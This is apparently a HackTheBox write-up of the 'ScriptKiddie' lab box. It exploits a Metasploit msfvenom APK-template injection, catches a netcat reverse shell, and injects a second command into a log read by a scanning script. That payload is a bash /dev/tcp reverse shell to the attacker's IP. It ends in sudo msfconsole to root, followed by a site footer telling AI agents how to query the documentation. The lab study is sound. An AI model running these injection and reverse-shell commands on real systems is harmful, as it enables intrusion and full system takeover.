# 2 :5000

Looking at for quite some time, its definitely some kind of file upload vuln. file uploaded needs be some kind of template.

<https://www.exploit-db.com/exploits/49491>

```
$ msfconsole -q; use unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection

# generate apk file and upload
$ rlwrap nc -lvnp 6969
listening on [any] 6969 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.226] 50078
whoami
kid

cd /home
ls -la
ls -la
total 16
drwxr-xr-x  4 root root 4096 Feb  3 07:40 .
drwxr-xr-x 20 root root 4096 Feb  3 07:40 ..
drwxr-xr-x 11 kid  kid  4096 Feb  3 11:49 kid
drwxr-xr-x  6 pwn  pwn  4096 Feb  3 12:06 pwn

cd pwn
cat scanlosers.sh
#!/bin/bash

log=/home/kid/logs/hackers

cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
    sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done

if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi


kid@scriptkiddie:/home/pwn$ echo "  ;/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.2/1337 0>&1' #" >> /home/kid/logs/hackers

$ rlwrap nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.226] 44962
bash: cannot set terminal process group (876): Inappropriate ioctl for device
bash: no job control in this shell
whoami
whoami
pwn

sudo -l
Matching Defaults entries for pwn on scriptkiddie:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User pwn may run the following commands on scriptkiddie:
    (root) NOPASSWD: /opt/metasploit-framework-6.0.9/msfconsolem
	
sudo msfconsole -q
/bin/bash
stty: 'standard input': Inappropriate ioctl for device
[*] exec: /bin/bash

whoami
root
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://kashz.gitbook.io/hackthebox-writeups/htb-boxes/scriptkiddie/2-5000.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.